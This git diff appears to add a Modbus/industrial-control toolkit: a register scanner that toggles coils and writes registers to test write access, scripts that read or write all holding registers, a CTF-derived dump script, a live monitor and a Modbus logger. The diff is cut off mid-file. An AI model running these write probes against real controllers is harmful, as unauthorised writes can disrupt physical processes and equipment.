write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print 